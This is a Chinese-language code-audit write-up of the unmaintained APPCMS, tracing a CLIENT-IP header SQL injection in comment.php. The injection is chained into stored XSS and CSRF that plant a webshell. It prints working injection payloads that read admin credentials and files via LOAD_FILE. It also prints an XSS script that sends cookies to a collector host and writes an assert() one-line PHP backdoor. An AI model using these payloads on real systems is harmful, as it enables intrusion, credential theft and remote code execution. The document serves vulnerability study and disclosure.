APPCMS 代码审计:SQL 注入、XSS、CSRF 与 GetShell
背景
由若水师傅提供的一个素材,想要复现 CNVD 上披露的一个 APPCMS 的漏洞(CNVD-2017-13891)。由 CNVD 上的描述可以知道存在漏洞的地方是 comment.php 这个文件,然后就没有详细的漏洞信息了,所以就需要分析相应的源码文件,自己找出存在漏洞的点。借这个素材捡起下代码审计的各种感觉,期待和师傅们各种交流讨论。
官方站点:
http://www.appcms[.]cc/漏洞详情:http://www.cnvd[.]org[.]cn/flaw/show/CNVD-2017-13891
审计过程
本篇是个事后总结,是在审计过程中逐步思考利用,然后达到预期的目的。先是进行了代码审计,清楚了造成漏洞的位置,开始先获得了用户名是 admini、密文密码 77e2edcc9b40441200e31dc57dbb8829、安全码 123456;但是并无法得到后台地址。经过思考分析,便想到利用二次漏洞进行 XSS 打到后台地址和 cookie,再深入些便是和 CSRF 结合得到 shell。
漏洞定位
打开 comment.php 文件,通读其中的代码,并跟踪数据的传递过程。CNVD 上说是一个 SQL 注入漏洞,所以可以先关注 comment.php 中涉及 SQL 操作的代码。
comment.php 第 80-86 行,目测 query_update、single_insert 存在 SQL 操作,进行 SQL 拼接的是 TB_PREFIX、$fields['parent_id'] 和 $fields:
// comment.php 第 80-86 行
if ($fields['parent_id'] != 0) {
$ress = $dbm->query_update("UPDATE " . TB_PREFIX . "comment SET son = son + 1 WHERE comment_id = '{$fields['parent_id']}'");
}
$res = $dbm->single_insert(TB_PREFIX . 'comment', $fields);
其中 TB_PREFIX 在 core/config.conn.php 进行了 define('TB_PREFIX', 'appcms_'); 定义,所以不用管。$fields['parent_id'] 在第 73 行进行了数据类型判断 if(!is_numeric($fields['parent_id'])) die();,所以也不能利用。

$fields 是由自定义方法 m__add() 创建的一个数组,再将 $page 数组中的关键信息赋给 $fields,而 $page 拥有所有 POST 和 GET 的数据:
// comment.php 第 29-30 行
$page['get'] = $_GET; // get 参数的 m 和 ajax 是默认占用的
$page['post'] = $_POST; // 一个用来执行动作函数,一个用来判断是否启用模板还是直接输出 JSON
在 m__add() 自定义方法中可控的数据 $fields['id']、$fields['type']、$fields['parent_id'] 必须是数字类型,所以无法利用。剩下 $fields['uname']、$fields['content']、$fields['ip'],后面经过测试和数据跟踪的过程,$fields['ip'] 是一个可控制并可注入的点。
// comment.php 第 57-86 行(节选)
function m__add() {
global $page, $dbm, $c;
$fields = array();
foreach($page['post'] as $key => $val) {
$page['post'][$key] = htmlspecialchars(helper::escape($val));
}
// ... 验证码、字段校验略 ...
$fields['date_add'] = time();
$fields['ip'] = helper::getip(); // 可控点
// ...
$res = $dbm->single_insert(TB_PREFIX . 'comment', $fields);
}
之所以得到如上的结论,第一个原因是在跟进 single_insert 方法的时候,在该方法中将 $fields 数组中的值使用 foreach 进行组合后传入 $sql,没有经过任何处理:
// core/database.class.php 第 102-120 行
public function single_insert($table_name, $fields) {
if (!is_array($fields) || count($fields) == 0) return array(/* ... */);
$sql_field = "";
$sql_value = "";
// 遍历字段和值
foreach($fields as $key => $value) {
$sql_field .= ",$key";
$sql_value .= ",'$value'"; // 直接拼接,未转义
}
$sql_field = substr($sql_field, 1);
$sql_value = substr($sql_value, 1);
$sql = "insert into $table_name ($sql_field) values ($sql_value)";
$result = $this->query_insert($sql);
return $result;
}

第二个原因,跟进 $fields['ip'] = helper::getip(); 的 getip() 方法,发现获取 IP 的方式中有一项是 HTTP_CLIENT_IP,这种方式可以通过客户端进行 IP 伪造:
// core/help.class.php 第 47-57 行
public static function getip() {
$onlineip = '';
if (getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
$onlineip = getenv('HTTP_CLIENT_IP');
} elseif (getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
$onlineip = getenv('REMOTE_ADDR');
} elseif (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
$onlineip = $_SERVER['REMOTE_ADDR'];
}
return $onlineip;
}

因此 $fields['ip'] 的值满足“用户可控 + 未安全处理 + 直接拼接”三个条件,造成 insert 注入。为了方便查看和构造 payload,我在 core/database.class.php 的 single_insert 方法第 117 行加入 echo $sql; 方便查看 SQL 语句。又由于这个 CMS 存在失效的图片验证码,所以可以轻松地使用 Burp Suite 进行注入获取数据。
构造 payload 获取用户名密码
接下来构造 payload。这个位置是 insert 注入,但并不会回显 SQL 错误,所以无法使用报错注入。在师傅们的指导提醒下发现可以直接利用 insert 把查询到的结果回显到前台——由于这是个评论功能,展示位置是 content、uname、date_add、ip 这 4 个字段。可以直接用如下语句把查询结果插入到 content 和 uname,然后回显到前台的“用户名”和“回复内容”位置:
CLIENT-IP: 10.10.10.1'),('1','0','0',(select upass from appcms_admin_list where uid='1'),(select uname from appcms_admin_list where uid='1'),'1510908798',1)#
构造 payload 获取安全码
此时就获得了站点的用户名和密码。接下来要获取安全码——这里使用 MySQL 的 load_file() 来读取 core/config.php 文件,安全码等敏感信息就在该文件里。
可以使用“去掉 payload 后面的 # 导致报错”等方式得到网站的绝对路径,因为在 core/init.php 中默认开启了错误提示,所以可以利用错误信息得到绝对路径。
得到绝对路径便可以使用 load_file() 去读取 core/config.php 中的安全码了。但是 content 列使用 varchar(500),所以直接使用 load_file() 是无法完整获得安全码的,因此使用 substr 进行截断,从 480 开始截断 400 个字符长度(此处没有精准计算,但已将安全码写入 content 列):
CLIENT-IP: 10.10.10.1'),('1','0','0',(SUBSTR(LOAD_FILE('D:\\soft\\phpStudy\\WWW\\APPCMS\\core\\config.php'), 480, 400)),'thinking','1510908798',123456)#

此时已经得到用户名 admini、密文密码 77e2edcc9b40441200e31dc57dbb8829、安全码 123456;但 APPCMS 安装完毕后会强制更改后台地址,所以即使拿到这 3 个敏感信息也难以登录后进行其他操作。
从注入到 Shell
以上通过代码审计已经分析了 CNVD 上该版本 APPCMS 漏洞产生的整个过程。接下来是对这个漏洞进行进阶研究:这种 insert 注入会把用户可控的数据直接写到数据库中,极大概率还会造成二次漏洞。本节利用 insert 注入直接进行存储型 XSS 打后台,并使用 CSRF 在“添加模块”处写马。
存储型 XSS 打 COOKIE
这里我使用蓝莲花团队的 XSS 平台。payload 构造上,我对内容进行的修改添加了两个请求:一个是创建文件的请求,一个是为文件添加内容的请求。
// 获取站点的关键信息
var website = "http://127.0.0.1/xsser";
(function () {
(new Image()).src = website + '/?keepsession=1&location=' +
escape((function () { try { return document.location.href } catch (e) { return '' } })()) +
'&toplocation=' + escape((function () { try { return top.location.href } catch (e) { return '' } })()) +
'&cookie=' + escape((function () { try { return document.cookie } catch (e) { return '' } })()) +
'&opener=' + escape((function () { try { return (window.opener && window.opener.location.href) ? window.opener.location.href : '' } catch (e) { return '' } })());
})();
function csrf_shell() {
// 创建文件名为 evil.php 的文件
var xmlhttp1 = new XMLHttpRequest();
xmlhttp1.open("POST", "./template.php?m=create_file", true);
xmlhttp1.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp1.send("filename=evil.php");
// 在 evil.php 文件中写入一句话木马
var xmlhttp2 = new XMLHttpRequest();
xmlhttp2.open("POST", "./template.php?m=save_edit", true);
xmlhttp2.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
// content = <?php assert($_POST['cmd']);?>
xmlhttp2.send("filename=evil.php&content=%3C%3Fphp+assert%28%24_POST%5B%27cmd%27%5D%29%3B%3F%3E");
}
csrf_shell();

测试是否利用成功
配置好后进行如下请求,此时后台会生成一条评论记录。模拟管理员登录后台,使用 Burp 进行跟踪,发现创建了 evil.php 文件,并为文件写入一句话,证明成功执行了刚才配置好的脚本,同时将站点的登录信息等也发给了目标系统。
此时便收到打回来的 cookie 信息了,对应的 shell 地址便是 http://127.0.0.1/APPCMS/templates/default/evil.php。

写在最后
本篇获取后台的方法我就想到了 XSS。本想使用报错的方式,但发现前台并无数据和后台进行交互,所以没想到怎么在前台引发报错、报出后台地址,于是就采用 SQL 注入 → XSS → CSRF 直接 getshell 的路线。如果师傅们有更好的思路,期待讨论交流。感谢若水师傅提供的素材,感谢各位师傅的指导。
回过头看,这条链的本质是“用户可控输入未参数化”这一处一致性缝隙被反复放大:先以 CLIENT-IP 注入读到凭据,再借评论入库的存储型 XSS 触达管理员,最后用管理员会话执行 CSRF 落地 webshell。三步环环相扣,但起点只有一行没有转义的 getip()。
注:APPCMS 项目已长期未维护,官方域名可能失效。本文仅作历史审计复盘与技术学习用途,请勿用于未授权测试。